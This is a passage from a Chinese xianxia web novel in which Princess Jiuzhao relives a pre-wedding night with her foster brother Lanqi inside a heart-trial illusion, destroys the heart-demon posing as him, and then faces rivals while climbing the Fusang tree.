是而两项考核有一项拖后腿,就注定不可能顺利升阶。 持续总结之下,九昭的脉搏心跳终于得到平复。 她在属于自己的莲座上盘腿入定,眼见嶷山上神引日火点燃圣香,方才按规闭上眼睛—— 时光瞬间倒退四千五百年。 …… 大婚前三日。 离恨天,常曦殿。 “殿下,经过神衍局推算,三日后的辰正和未正皆是上上吉时。您须得先在辰正举行成人典礼,再于未正同兰祁殿下正式完婚。先成人再成人,这才是合乎规矩,两全其美的大好事!” 午膳后,九昭伏在长案上昏昏欲睡,绛玉叽叽喳喳的声音钻入她的耳膜响个不停。 为着即将到来的两项大典,九昭被迫停止一切娱乐。 成日困在常曦殿,不是女官教导繁琐礼仪,就是祷告神祖,祭拜天地。 起初成人成婚的兴奋劲过去,她这朵开得灼灼其华的鲜花逐渐失去水分,萎靡不振。 无聊成了时常徘徊在嘴边的口头禅。 此刻,她更是有口无心地应和着绛玉的话语。 嗯嗯、好好、知道了。 后面渐渐悄无声息,连神经大条的绛玉也意识到了不对劲。 她放下手上的东西,朝九昭那头一看,发现她脑袋枕着胳膊,越睡越香甜。 “啊啊啊殿下,奴婢说的话您一句都没听进去吗!!” 绛玉抓着头发尖叫起来。 “本殿好累……能不能快点成人快点结婚,一天天的要被磋磨死了……” 九昭虽然脾气很坏,但这些天为了遵守成婚前不得发火吵架,否则不吉利的规矩,表现得还算温和。绛玉大着胆子架起她的肩膀,将她从梦乡中拖了出来:“殿下,真的不能睡!接下来就是试妆部分,这可关乎到您成亲当天好不好看,您也不想被前来观礼的滢罗宗姬给比下去吧!” “……” 九昭应声睁眼,满脸清醒,“那些筹备典礼的仙官们绘制了什么妆容,拿来与本殿看看。” 绛玉终于欣慰地笑了起来。 她将搁在一旁的画纸小心翼翼翻开,入目俨然是与九昭八分相似的面孔,只是那晕染在五官间的色彩太过惊艳,使得画中人比素面朝天的九昭更多出几分雍容风仪。 “您看。” 绛玉指出妆容的几处创新巧思,为九昭一一说明,“考虑到成人礼和婚礼同日进行,中途的间隔时辰也不长,备婚的仙官们特地将这两个部分都融合在了一处。” “额头是唯有神帝、神后以及储君可用的建木花,建木沟通天地、不死不灭,是最尊贵古老的神树,而建木花乃神树长成后才能开出的圣花,象征着殿下年华既成,重岁当贺。 “左右两眼下方,是仿照朱雀双翎尾羽的彩绘,朱雀偕飞,和鸣铿锵,这彩绘画在眼下多好看啊,而且寓意也好,寓意殿下和兰祁殿下相伴永世,恩爱长久。 “还有口脂的颜色……” 后面的话,九昭没怎么听进去,满心都是“朱雀偕飞,和鸣铿锵”这句不伦不类的祝福语。 在巫劭没有率族彻底叛天前,凤凰才是夫妻之间和顺情好的代表。 如今这个种族成为了三清天的禁忌,就连口中提一提都被视为有罪。 九昭伸出左手,懒散地抚摸着画上的自己,对于婚礼的憧憬,因着这点忌讳淡去不少。 最后,她的指尖停留在朱雀彩绘表面,不言不语,那厢滔滔不绝始终得不到回应的绛玉才猛地顿住话音,后知后觉想起自己不该过多提起这个部分,徒增九昭的伤心和介意。 她僵住身子,连忙跪地伏倒:“殿、殿下恕罪——” 九昭看似散漫的眸光淡淡望来:“你何罪之有?” 大多数时候,绛玉不太害怕立刻发怒的九昭。 要不被骂得狗血淋头,要不得到些单凭躯体就能扛过去的体罚。唯有九昭看似平静的反问时,那种未知真正喜怒,未知她何时翻脸的恐惧,才会释放到极致。 “奴婢,奴婢……” 绛玉咬着嘴唇,抖抖索索说不出话,偏偏又不是缃璧那等头脑机敏的人。 九昭垂眸瞧她片刻,只觉得她浑身都快要抖颤成风中凌乱的树叶,才缓缓抬手免了她的告罪:“本殿的喜事将近,不吉利的话不许说,不高兴的表情也不准有,朱雀本就是恩爱的鸟儿,用来庆贺婚礼也无错,本殿看父神养在鸟兽苑里的那对朱雀就天天形影不离的。” “是是,殿下说得对。” 得到九昭的赦免,绛玉潜意识松了口气,奈何气松到半截,又突兀揪心。 凤凰族,从来都是命定双生子为众生伴侣,否则会有大祸临头。 当年身为双生子的神后与其弟巫劭决裂,嫁与神帝,最终落得亲族背离、英年早逝的下场。 而作为她的亲女、体内流着一半凤凰真血却不曾堕天叛魔,仍然留在三清天的神姬九昭,没有迎来天命所归的双生子,反而即将嫁给相伴万年的养兄兰祁。 ……她真的能够逃过天命诅咒,与心爱之人相守一生吗? 36| 第36章 ◎“要祝天下夫妻恩爱情长,一定得有凤凰。”◎ 绛玉不敢明说心中担忧, 所幸九昭也没再关注她的神容变化。 拢袖自长案后站起,九昭坐到梳妆镜前,朝她吩咐:“不是要试妆吗?去把人传来。” 绛玉连忙俯身:“是。” 有了先前的小插曲, 尽管面上揭过, 但九昭到底心存芥蒂。 这种芥蒂反应到言行间,她揽镜注视两位女官一笔一划绘制的朱雀羽纹,越看越不满意。 “这是朱雀之羽?怎么本殿瞧着纹路像雉鸡。 “手抖什么,弧线都画歪了。 “你们选择的红未免太过小家子气, 本殿要那如丹的正赤。” …… 擦了又改,改了又擦。 九昭眼睑下方雪白的肌肤纹理都要被笔尖磨成薄红,女官们却依旧没修改到她点头。 透明冷汗涔涔浮在额头, 即将沿着侧颊流入衣领,她们本能感觉到这并非彩绘的问题,而是未知的某处,从始至终就不合这位骄矜的神姬殿下之意。 可九昭不明说, 她们也只能硬着头皮继续, 直到执笔的指节发颤, 直到九昭露出倦意。 “罢了,停手吧。” 九昭无喜无怒的语声骤响, 她夺过女官手上只差最后一步就能完成绘制的笔, 随手丢在鞋边,那饱蘸胭脂的笔尖与地面遽然相碰, 女官们绣有仙鹤的淡青裙摆顿时溅上点点红梅。 “臣等有罪, 请殿下息怒!” 如同前头的绛玉一般, 二位女官惶恐地跪倒在地, 顾不得玉砖上留有旖红印记。 九昭以手撑颌, 漆黑眼眸定定放空片刻, 才勾起一道浮于表面的冰凉笑意:“喜事将至,不得争吵动怒,否则有违吉兆,本殿又怎会明知故犯——你们两个,可别会错了意。” 面面相觑一瞬,其中一位灵醒的侍妆女官立刻顿悟过来。 她膝行至九昭裙畔,捧起那玷污了玉砖的画笔:“是臣等绘制的妆容有所欠缺,无法勾勒出殿下的高贵风仪,虽殿下不怒,宽容大度,然臣等倍感惭愧,叩请明日再来进献新作妆容。” 九昭这才真切弯了弯眼睛:“就按你们说的做。” …… 女官告退后,九昭令绛玉一同退下。 她关上寝殿大门,催开胸前长乐命牌的神力禁制,化作一缕青烟钻入其中。 命牌内自有一方天地,是神后在世时亲手开辟。 其间的陈设,均按照她对未出世女儿的怀想一一布置。 青叶檀的小摇床,缀着红穗子的拨浪鼓,害怕娇嫩的婴孩磕碰,一切坚硬或有棱角的家具都包裹上一层棉绒,相较三清天其他的殿宇,此处不见得如何华丽,却别有一番天然的温馨。 神后太婀去世,神帝随即下令抹除凤凰族存在于三清天的所有痕迹。他舍不得将爱妻为数不多的遗物一并毁去,便把它们都封入长乐命牌,以供长大后的九昭追思整理。 九昭自描金箱笼中找出最常把玩的几件物什——赤羽花钿,凤首发钗,以及五彩尾翎长簪。 这些东西不见天日,不容于世,封存万年,灼烈的颜色依旧如新。 九昭挑选一样,放在髻边比了比,与神后几分相似的眼瞳渐浮不甘之意。 成人成婚的大妆,用朱雀而非凤凰,她总觉得有说不出的遗憾。 一切相关的事物,于九昭而言,抛开那个叛天的种族,更象征着母亲。 如果可以,九昭多么想母神能够亲眼看着自己披上婚衣,嫁给兰祁。 …… 常曦殿内尽是俯首帖耳者,九昭的郁气无人能懂,也无人可诉。 这个时候,她越发需要知己者在侧,干脆趁着夜深离开离恨天,偷偷跑到了灵泉宫。 兰祁向来是最勤恳的,非至四更不就寝。 此刻时辰尚早,他独自待在四面挂有竹幔的池中高台上,长案陈地,埋头奋笔。 九昭借着竹幔的遮挡屏息看了片刻,瞬移到他身后,跪坐下来环住他的腰。 几乎在躯体相触的顷刻,兰祁就转过了身。 他扣住缠在腰间不安分的手腕,待看清来人,诧异挑起眉峰:“……昭昭,怎么是你?” “除我之外,何人胆敢对兰祁殿下一亲芳泽?” 九昭心情不好,并不注意用词,开的玩笑暗含几分贬低。 她没瞧见青年眼中瞬闪而过的暗色,只听到他用一贯温和的语气劝告道:“三清天的婚嫁习俗,男女未成亲前不得见面,哪怕为了图个吉利,你今晚也不该过来。” “不能见面,不能争吵,更不能发脾气…… “要不把我憋死算了——” 九昭掰着手指,一边数一边嘟囔,最后索性耍赖,“本殿才不听,我就是三清天的规矩!” 她两手并用,扭股儿糖似地抱了过去,半张脸依在兰祁的肩膀。 身上的青鸾香囊、镶玉绦带与兰祁腰间悬挂的佩印撞在一起,发出清脆叮当的动静。 她埋头当了片刻装死的鸵鸟,在一片安静中悄悄挑起眼睛,见对方仍是不认同地凝视自己,只好软下嗓音,嘟嘴叠声道:“好兰祁,一月未见,我甚是想你,一刻也等不了了……今夜横竖无人发觉本殿造访灵泉宫,无人发现,就等于没有破坏规矩……你别唠叨了我,好不好嘛……” “……” 一向傲慢的神姬殿下放低姿态撒娇,又有几个人能抗拒得了。 兰祁将她从背后揽到身前,长垂的鸦睫一抖,无奈妥协。 “我只是希望,我们的婚事能够一切顺利。” “再顺利也没有了——成婚后我们春日可以去南陵赏花,夏日去西海消暑,秋日看东原红枫遍野,冬日在北境的飞雪中期待新年……我要你长长久久陪伴着我,我也会长长久久陪伴你。” 九昭用手指勾住他的衣襟,且磨且绕,情意绵绵。 兰祁也似乎被她口中描述的场景打动,眼底弥漫开无数温情。 他把臂膀收得更紧,只是另一只欲挽过来的手来不及放下毛笔。 九昭笑着替他把笔取下,放回长案的青玉笔架,冷不丁将其上满铺的白纸映进眼底。 她没想到。 没见面的这些日子里,兰祁竟然是在画她。 画上的她无人相伴,独身穿着大婚所用的华美礼服,额心眼角俱是凤凰族的图腾。 从燃烈盛开的凤凰花,到迤逦绵长的凤凰翎。 幻想中的模样成真,九昭不得不承认,这样的自己远比建木花朱雀羽绘就的更加耀眼美丽。 不过喜欢归喜欢,她不忘低声提醒兰祁:“你别忘了……父神有令,除了我颈间母神亲赐的长乐命牌,其他三清天中一切跟凤凰相关的东西,都犯了禁忌。” 兰祁淡淡道:“倘若凤凰族没有堕天,你身兼未来的凤凰女君,应该去往凤凰树前,得到它的庇佑赐福,然后再返回衍庆台,与我成婚。凤凰族的成人礼,装饰点缀怎可少了相关之物。” 这是曾经的三清天约定俗成的规矩。 作为最尊贵古老的血脉,但凡凤凰族的后裔成人,面孔皆需绘制相应纹路,再一步一步行至矗立在种族栖息地正中的凤凰树前,祷告祈求它的赐福,同时拔出一根本命翎化作养分反哺。 “倘若神后还在,你妆容的彩绘部分,大概会由她亲手完成。” 九昭从出生就没见过自己的母亲,反倒是兰祁更幸运些,曾得她千年的细心抚育。 她靠在兰祁怀中,凝神倾听着他有关神后的一系列叙述,许久之后,才低落地说道:“女官今日来为我试妆,用的是朱雀纹,绛玉还道‘朱雀偕飞,和鸣铿锵’…… “我在想,如何能够是朱雀,要祝天下夫妻恩爱情长,一定得有凤凰。” 兰祁慢慢握住她的手:“我懂,所以我才会提前画下这副大婚图,填补你内心的遗憾。” ……所以,要她如何不爱兰祁呢? 哪怕未置一词,他也能够这般懂得她真实的内里。 九昭只觉心中冰凉的部分,被一股温煦的暖流捂热。 仿佛只要兰祁存在,那熨帖的温度就永远不会冷却,忠实地补全着她天生空缺的一隅。 月到中天,良宵如许。 千顷之陂,莲影浮动。 高台下灵泉涓涓涌动,朝四面八方氤氲开乳白水汽,直将此地渲染成无惹尘埃之境。 他们静静地彼此依偎半晌,九昭忽而道:“不如你来为我试妆。” 她越想越觉得此法甚好,眉眼温柔地褒奖道:“你本就是三清天公认的丹青圣手,笔间技艺胜过那些备婚的侍妆仙官远矣,由你来为我试妆,妆成一定美轮美奂,此生难忘。” 兰祁没有立即开口,沉吟少顷,犹豫着回应:“可我这里,没有描妆所用的胭脂。” “反正仅是你我两人共见,就算用绘画的笔墨又何妨。” 九昭并不受困于这些枝叶末节。 她从画纸旁揉开鸦墨的池形砚台,看到长案边放置的各类作画工具颜料,然后兴奋地挑出其中装有颜色的一样圆瓮,仰头询问兰祁:“这红色好美,就是我想要的那种,它可是正赤?” 兰祁颔首:“正是。” “那好,我要你用它来为我绘制凤凰花和凤凰翎。” 九昭娇痴的命令,却唤醒了兰祁的某段记忆。 他道:“你且等等,我想到有一样东西,正合适用来代替胭脂。” 37| 第37章 ◎“不够。”◎ 兰祁口中所说的、能够代替胭脂的东西, 被他从寝殿寻来,装在一个两尺有余的匣子里。 九昭打开一看,其中摆放着十来个归置整齐的方形小盒—— 这才知晓这些是他们去岁游玩南陵时, 在琼英王的花圃中共同采摘研制的百花粉。 百花粉, 顾名思义,是各类花粉汇聚起来的总称,天然自带缤纷颜色,不同的种类有不同的功效, 但大抵都能够滋养容颜——可入膳,可成药,可制香, 当然也可以用作彩绘颜料。 这些蕴藉木属仙灵的粉末,于其他神仙而言十分珍贵,但在九昭眼里不过是个乐子。她耐着性子将它们制为成品后,就彻底失去了兴趣, 转手丢在兰祁这里, 一年到头也不记得拿回去。 因九昭钟意正赤, 兰祁在匣子里翻翻找找,终于找到贴有标签的玫瑰花粉。 再引宫中仙力浓厚的灵泉注入其中搅拌开来, 虽不及真正的胭脂固色持久, 却也可堪使用。 他一拍九昭肩膀,扶她没骨头似的身子坐直:“等下不要乱动, 否则画坏了可不许噘嘴。” 九昭一面答应, 一面背倚长案微抬下巴, 呈半仰视的姿态, 方便兰祁作画。 事实证明, 越怕什么越来什么。 许是兰祁手上的是挥洒丹青的画笔, 而非午后两位侍妆仙官所用的描妆笔。 那笔尖的毫毛略显粗糙,触在眼睑下方,带来些微痒意。 随着兰祁的动作,痒意如湖面泛开的涟漪一般逐渐扩散。 起初九昭能忍,但忍着忍着,她双眼被兰祁专注起来格外秀美的脸庞吸引,敏感的神识亦被沿着肌肤几近描入血肉的画笔无限扩大—— 定力崩溃,贝齿咬陷下唇,九昭轻轻颤抖起来,唇瓣勾着要笑不笑的浅弧。 “不许笑。” 兰祁难得强势起来,一本正经叮嘱她。 谁知这句话仿佛开了个阀门般,九昭身躯抖动幅度加大,银铃一样的笑声溢出唇齿。 她保持仰面姿势不变,颈项下不规矩的手勾住兰祁的衣带,稍一使力,青年被动俯身倾向她这里,幸而反应够快,及时移开笔端,才没有将她一笔画成个花脸猫。 “昭昭——” 被捉弄的青年带着溺爱,带着薄恼,小声呼唤她的乳名,复又提点道,“别再笑了,你是瞒着所有人偷偷来的灵泉宫,倘若被发现,明朝不知又要闹出怎样的鸡飞狗跳。” 见九昭不答,只是一味地盯着自己且痴且甜地笑,他忍不住问道,“你这副样子,那些侍妆仙官是怎么下笔的?怕是翻来覆去一下午,握着笔手都酸了,还无法成妆。” “她们可跟你不一样。 “那描妆笔在我脸上,半点都不痒。” 九昭哪还有心情继续让兰祁试妆,手里勾着腰带不放,将他反压在跪坐用的蒲团上,笑嘻嘻地说道,“让奴来侍候兰祁殿下画一画,殿下就晓得到底是我敏感,还是这笔尖太糙——” 说着,兰祁被她半诱半迫地裹挟着开始嬉闹。 沁着红意的笔尖刮过两人衣衫,又在半干之际,经九昭反手一握,分错的笔尖描到他唇上。 象征正统祥瑞的赤色,与光风霁月的君子相遇,线条隽美的薄唇染上浓墨重彩的颜色。 那红不再庄重,被恍若润玉的肌肤一衬,活生生多了几分妖异。 仿佛圣人坠落神坛后化作的邪美之魔。 “真美。” 复在兰祁唇上落下一笔,作为重度颜控的九昭情不自禁感叹着,“我只知道你穿上浅色的服饰是一朵纤尘不染的青莲,却不想由深色装点时,又是另一种风情的好看。” 红意的层层叠加,那抹凝练自玫瑰的花卉香气在两人的鼻腔萦绕着。 耳闻九昭的喟叹越发不成体统,不便回嘴的兰祁索性含住笔尖。 九昭一时无法抽出,反被他抓准时机夺下画笔,使仙力一抹,重新悬挂回案上笔架间。 “哎,我的笔!” 九昭扭脸追随仙光而去,背后青年沉沉的身躯压近。 哗啦—— 先是大片东西遭人碰倒,跌落在地上的声响骤起。 再回首,九昭发觉自己被兰祁从后方紧紧压倒,他修长如玉的手指在眼前一晃而过,重重捏住她的下颌,那瑰香缱绻的气息旋即俯落,竟是以唇为笔,在她的唇上完成了妆容的最后一样。 兰祁并不深入。 与其说他亲吻九昭,倒不如说他正在专心致志均匀颜料。 九昭小巧的菱唇微翘复被他压制,浓烈正赤变淡变薄,化作待嫁新娘口上含羞带怯的脂红。 “……真美。” 完成作品,兰祁学着她的口吻,沉声赞赏。 他的唇是红的,她的唇也是。 仿佛有玫瑰花瓣揉碎在他们的唇齿厮磨中。 九昭依旧被他捏着下巴,一瞬不瞬地就着别扭的姿势回望他。 玉色、漆黑、赤红、月白…… 无数颜色自九昭的目光滑入,将她怦怦跳动的心脏搅成了一个大染缸。 平静的血肉化作溪水流淌起来,于是从胸腔到肚腹,五脏六腑的位置都空落落的。 只是一个吻,九昭觉得远远不够。 不够。 “不够。” 兰祁听到她喃喃的自言自语,鼻息凑近耳廓轻询:“……哪里不够?” “我幼时看《三界风物志》,里头说焚业海中栖息的妖魔中有一种蛛族,在交尾育嗣的过程中,母蛛情到浓时会吃掉配偶的一部分,有时是脚,有时是手,有时,则是头……因此它们哪怕被人砍掉头颅,也不会立刻死去,非至洞穿心脏,才会真正妖灵散尽。” 此情此景,兰祁仍然耐心聆听九昭提起的无关紧要之事,说到最后,她叙述妖族的声音渐低,其中的情感也变作一种稚童般的迷茫,“过去每每读到这里,我只觉得难言且血腥—— “可为何,我现在竟真的对你产生食欲?” 兰祁不言。 他松开对于九昭的压制,将象征弱点的脖颈袒露到她眼前。 循循说道:“情至深处,理当如此。” …… 偶尔,九昭也会迷惘神仙和妖魔之间的界限。 似乎神仙为世人歌功颂德,皆因其流露的清心寡欲,敬天悯人之性。 可九昭自觉跟这两个词汇实难沾边。 就譬如现在,她注视着兰祁青筋微凸的颈项,喉咙深处竟发出了干渴的吞咽声。 横冲直撞的爱欲无处发泄,无可表达。 她便在兰祁的默许下,凭借本能一口咬了上去。 这一下极深,破皮见血,腥甜直贯味蕾,汹涌的食欲暂时得到满足。 她拉下兰祁鹤纹滚边的衣襟,改变位置,换着花样,一口一口,全神贯注咬出几个细小的血洞,那唇上妖异的赤红,也因此遍布在青年健壮年轻的躯壳上。 而兰祁活像感觉不到疼痛,口中发出轻哼,瞳孔却透着炽热的微光。 他太过熟悉九昭,指腹摁进半散长发一路滑落,于后颈和脊骨的相接凹陷处慢慢抚摸——那是九昭的本命凤翎藏匿的位置,一如龙族的逆鳞,关联性命弱点,寻常人碰之即死。 也……格外敏感。 九昭又颤抖了一下。 这种奇异的颤抖和先前不同,并非憋笑时的身体本能,而来自于灵魂深处。 脉络骨骼皆要融化开来。 九昭舒服得快要变回原形引颈凤鸣。 兰祁不疾不徐地抚摸着,抚摸到她睑下的彩绘被真正的羽绒代替,抚摸到她扬起巨大而半透明的翅膀,一边一个,将四面八方挂起的竹幔尽数劈垂。 遮帘簌簌而落,挡住月亮窥探进高台的视线,挡住彼此之外的世界。 低吟断续,袍带已解。 温存而不容反抗的吻再度发生。 或深或浅,或远或近的梦境沉浮间,九昭用即将被点燃的声音低问:“比婚嫁前夕男女不得见面更大的错误,就快要犯下了,兰祁,我的好兰祁……你后不后悔?” “不悔。” “与我结缘一场,即将缔交鸯盟,你后不后悔?” “不悔。” “那,爱我呢……你后不后悔?” 逾越的话语既出,九昭化作一汪春水的身躯陡然僵硬起来。 她,她怎么会问这个问题? 相伴几万年,到她情窦初开倾心于兰祁,她不止一次问过这个问题,兰祁都不曾回答。 次数多了,兰祁只道,他们之间太过复杂,是兄妹,是伴侣,也是少一则缺的环佩。 用“爱与不爱”来回答,未免过于肤浅。 后来,九昭识趣地选择不再询问。 如今,她竟然打破了自己设下的规矩。 闭阖的眼皮外知觉火热,她猛然睁开双眼,在情动时,兰祁的视线依然一瞬不瞬。 置于脑海内的忐忑和思绪流转漫长,可放在现实里不过沧海一瞬。 她听到兰祁毫无迟疑地回答道:“我爱你,昭昭,我爱你。” 那双眼里有晦暗的阴霾,有拆吃入骨的渴望,有突破自持,生根落地的汹欲—— 还有与此时此刻的九昭,神容相反,酣然忘情的另一个自己。 青年的爱意如此分明,九昭的肌肤却不再动情战栗。 这是,兰祁吗? 不…… 这不是兰祁。 陡然从迷梦中得到清醒,九昭只觉浑身如坠冰窟。 38| 第38章 ◎“再见。”◎ 九昭想, 爱之一字,果然就是最大的、最难解的心魔。 如果她没有在动情时问出这个问题,她就不会被如针般的过往刺到睁开眼睛。 如果没有睁开眼睛, 她就不会看到兰祁眼底那个, 和她此刻表情截然相反的自己。 现实与幻境的阻隔被打破,从梦中骤然醒转的九昭陷入短暂的不清醒。 她置身泥淖般的回忆里。 失魂落魄地认清,兰祁从来不曾对自己露出过如此眼神。 哪怕两人曾真切地突破过最后一步,在灭顶的欢愉间, 他的目光也仍然保留着一层克制。 他并非兰祁。 那么……他是谁? 因心中遗憾而出现在白纸上的,面绘凤凰纹的大婚肖像。 在听到询问后,坦荡吐露爱意的青年。 以及盛开在他眼底, 沉沦而不愿醒来的自己。 串联成片的记忆如月夜的优昙般,在眼前一层一层渐次盛开。 九昭倏忽找到了破解迷惘的答案。 面前之人,是埋藏在她心底,积年而生的, 对于兰祁的汹涌爱欲所化。 另一头, 仿佛意识到她的神识正在逐步抽离, 死死抱紧她的青年,展开了新一轮的引诱。 “昭昭, 我好舒服。 “昭昭, 我心悦你。 “昭昭,你怎么这样看着我? “昭昭, 不要走好不好, 就我们两个人, 生活在这里, 永生永世不分离……” 胜过甘泉甜蜜的痴情言语, 起到适得其反的效果, 令九昭的面孔迅速苍白起来。 事实上,青年口中一声声虚假的“昭昭”,应当换个称呼—— 只因每一言每一字,皆是年少的她曾向兰祁倾吐的真挚爱语。 兰祁,我心悦你。 兰祁,我们永生永世不分离。 …… 无法阻止声音入耳,九昭仓皇转过头,不再注视兰祁爱意满覆的面孔。 她的视线复而落在长案逶迤至地的画卷上,是了,大婚的男女,却仅有形单影只的她自己。 不同于心魔幻境以溺杀进入者为目的,验心考核为了让考生脱困,会设有小小的提示。 这唯余一人的婚服画像,提示着九昭,从始至终,没有兰祁—— 只有她深陷其中,做一场情投意合的荒唐大梦。 被幻境这一死物玩弄的耻辱感,唤醒九昭身为女君的自尊和骄傲。 对情侣的羞赧,对婚礼的期待,对成人的向往,迅速在她神情间褪了个干净。 牙关上下打战,磕磕的声响不绝于耳,火焰自胸腔燃烧到喉咙,九昭借由这股怒意,猛地从兰祁的臂弯中挣脱,劈手夺过笔架上刚描过妆的画笔,用尽全力插进他的眼睛。 因是心魔所塑,青年第一时间表现出来的,竟然不是疼痛。 他怔怔松开臂膀,机械性地抬手触碰深插于眼窝的画笔,深红薄唇缓缓张开:“昭、昭昭,为什么这么对我,三日后,就是我们的婚礼……是不是,我哪里做得不够好……” “够了,闭嘴!别再叫我昭昭!” 九昭怒吼起来,如出击的猛兽,一把将他掼倒在地,画笔噗呲一声穿透血肉,破出后脑勺。 没有鲜血,没有脑浆。 青年定格一瞬,而后捂住眼睛,佝偻着发出惨叫。 “九昭,好痛、好痛,我是兰祁,我是你的兰祁啊,你怎么能够对我这么狠心—— “你杀了我,从这里出去,此生此世都不可能再同我长相厮守!” 胸膛不断起伏,这一下耗干了所有气力,九昭大口喘着气,后腰抵住长案凸起的棱角,整个人环抱膝盖蜷缩起来,望着不远处那象征心魔消亡的深蓝粼光,自青年坏损的眼窝处满溢。 “你是心魔,是没有正常感情和喜怒哀乐的心魔,只会拙劣模仿我记忆里发生过的一言一行,又怎么能够知晓,曾经的我到底爱兰祁什么……” 九昭呢喃自语。 某个瞬间,她感受到眼眶突突直跳,以为自己即将落泪。 可掌心盖住那里,触觉反馈的仅是一片冰冷的干涸。 粼光越溢越多,将整个高台填满,又向着外部蔓延。 所到之处,静谧安然的景象一一破碎,显出藏匿在幻境之后无尽的虚无雪白。 心魔兰祁喋喋不休的话语,消散于最后一撮粼光的弥开,再一恍神,出现在九昭视野里的人形不复存在,转而代替的,是一把青铜龙首作柄,寒芒雪光彻骨的长剑。 兰祁的本命剑,烈霄。 凛冽的杀机原来就潜伏在万种柔情之下。 九昭悚然。 如果她真的放任兰祁同自己合为一体—— 那么这柄剑也会一寸一寸刺破血肉,让她在千刀万剐的痛苦中迎来天仙考核的失败。 烈霄悬浮半空一霎,紧接着溃为万千粉尘。 验心幻境彻底消散。 入定在莲座之上的九昭如梦初醒睁开双眼。 惆怅的、难解的、晦涩的情绪流窜在心口,她尝试偏转发涩的目光,冷不丁对上移步镜的某一面里,作为观试者的扶胥,投向这里的关切视线。 温暖遽然攀升,驱逐所有阴霾。 一切豁然开朗。 是啊,花尚能开,人不返少。 她如今有真正两情相悦的伴侣,有更加光芒万丈的人生,何必无法放下过去的执念? 九昭的双眼重新明亮起来。 她借助移步镜朝扶胥笑容顽皮地眨了眨眼,在心中对兰祁郑重说道: 再见。 …… 灵活的意志重归身心,九昭一骨碌从莲座上爬了起来,飞向扶桑木的起始攀登点。 过程中,她环视周围,发觉九成的考生仍困顿在验心之境中不得超脱。 这三个月针对性的苦练,使得九昭占尽先机。 她正自诩得意,掠过滢罗的莲座时,却见其上空空,而百丈外的巨木间有微小身影穿梭。 还是滢罗更快一步。 九昭一顿,连忙收起骄傲表情,加快速度朝扶桑木飞去。 争身考核真正开启,方知这贯彻天地的神树浩广。 为了随时评估自己和滢罗间的差距,九昭特地选择与她同一方向的位置攀登。 先是一段没有枝杈,唯有树皮的部分,长达百丈,不设借力点,想要通过这一段,最传统的的方式,便是放弃仙气飘飘的神仙姿态,手脚并用向上爬。 九昭沉下心来,观察片刻。 捕捉到其实并非没有跳跃的借力点,在树皮皲裂的破痕间,有稍稍凸出来的树结,正好成年男女的脚尖长度,只是树结支点脆弱,一个不小心承受不了重量,就会骤然四分五裂。 争身考核规定,考生下坠超过三丈,便算失去竞争资格,只能下树到空地上等待。 有了在不断下坠的流星群中穿梭控身的经验,九昭大着胆子,只附了一层薄薄的仙力在双脚底,以作轻身之法,然后循着凸起的树结,一下一下朝上方纵臂跳跃。 她这个办法甚是奇异。 仙力在脚,而不在于全身,万一踩空,很难迅速反应过来支撑自己。 而三丈又是个微妙的数字,想在几息内调整,并再次找到新的借力点十分不容易。 扶胥忍不住为她捏一把汗。 相隔移步镜,却见她身姿灵捷如鹿,虽脚下偶有错漏,但正在一下一下稳步向上攀升。 与此同时,莲座上的考生们陆续醒来,孟楚出人意料成为了其中的佼佼者。 他排在第五位攀上扶桑木,又使了个眼色给晚于他醒来的一男一女两位北境同伴。 手脚紧扣树身,他们同样选在九昭和滢罗攀登的起始位置,并且从一开始就不顾仙力的损耗程度能不能供给直至最后,直接火力大开,将仙光覆盖至全身,不顾一切追赶起高位者来。 仙力的破风声由远及近,传入全神贯注的九昭耳里。 她下意识垂眸俯视一眼,呲出虎牙不耐烦地啧了一声:“……跟屁虫又来了,真烦人。” 说着,她加快攀跃的速度,只是怎么也比不上全数输出仙力的追赶者。 到即将进入布有零星枝杈的中程时,孟楚和他的拥趸与她只差两臂的间距。 开阔视野也被横生的枝叶所取代,好处是方便考生借力跳跃,坏处是这里不仅仅生长着粗壮树梢,也设有隐匿其中的仙术法阵,会时不时降下暴风、飞雪、烈焰、冰流等阻拦向上的障碍。 一个不小心,就会被打落枝头。 层层的困障,也激发了考生们打击对手的心绪。 只要施术得当,借力打力,不仅能够暂时困住对手,也有一定概率使其直接失去考试资格。 心有不祥预感,九昭又附了一层仙力在指间,防止抓握树枝时遭人暗算滑手。 果然,当距离缩短到一臂,孟楚拔高声调,冲她朗笑道:“九昭殿下,这么巧——” 先前已经讨论过战术,在孟楚出声时,他的两个同伴无声窜到了九昭左右两边树梢。 扶桑木上的争身考核不计手段,不论生死,无论身份高低,结束后不得寻衅追究,是自古已有的天令,所以哪怕今日他们选择群起围攻九昭,神帝和扶胥看在眼里,也不能降下责罚。 便是神帝当年晋升,也不乏诸多针对者。 毕竟想要升为仙阶第一位的天仙,就要有以一敌多、临危不惧的实力。 九昭默默计算着仙力的损耗程度,以及到达扶桑树顶大概还有多久。 得出仙力尚算充裕的结论,她稍缓进势,摆出防御姿态:“有屁快放!” 饶是脸皮厚如孟楚,也被她的粗俗言语惊了一下。 他脸色一番精彩变化,立在树梢,抱拳拱手,装模作样地说道:“听闻殿下在关禁闭期间奋发振作,一心修行,仙力大有进益,臣下不才,想向殿下讨教一哎呀——” 话未说完,九昭形如闪电,雷霆一脚当头踢来。 39| 第39章 ◎“殿下现在也只能尝试相信我了,不是吗?”◎ 对付狗皮膏药似的敌人, 还用讲什么武德! 孟楚尚且沉浸在战前挑衅的阶段,眉飞色舞,表情灿烂。冷不丁视野中撞进一只黑靴白底、越来越近的脚, 他的话断在喉咙里, 活像被掐住脖颈的公鸡,狼狈侧身躲闪。 人虽无碍,新制的衣袍却被波及,雪白布料上落下个黑黢黢的脚印。 一击不中, 九昭并不给他缓冲的机会,拳头再度挟风雷之势,凌厉相击对方面门。 这不留余地的架势, 叫孟楚面色发沉,随即并指一捻,作为本命仙器的折扇出现在他掌间。 破解验心幻境要消耗仙力,攀登扶桑木亦要消耗仙力。 如今孟楚还祭出了本命仙器, 看来他是真的不想争一争魁首之位。 九昭暗暗对青年的挥霍咋舌, 却没有为了接招祭出打神鞭——长鞭并不适用于近距离战斗, 她干脆以仙力强化拳脚的力度,在料峭枝杈间, 与之进行体术搏击。 精金的山水扇遇到坚硬的凤凰骨, 一时间很难说清究竟谁占据上风。 破风声在你来我往的互搏间铮铮作响,长于枝头的扶桑新叶簌簌跌落。 九昭看似专注眼前的战斗, 却没有忘记潜伏左右, 不知何时发起攻击的另二敌人。 三对一处于弱势, 即便再肉痛, 她也只能分散出两缕仙力, 感知着视线死角处的风声窸窣。 一心多用, 说起来容易,做起来却很困难。 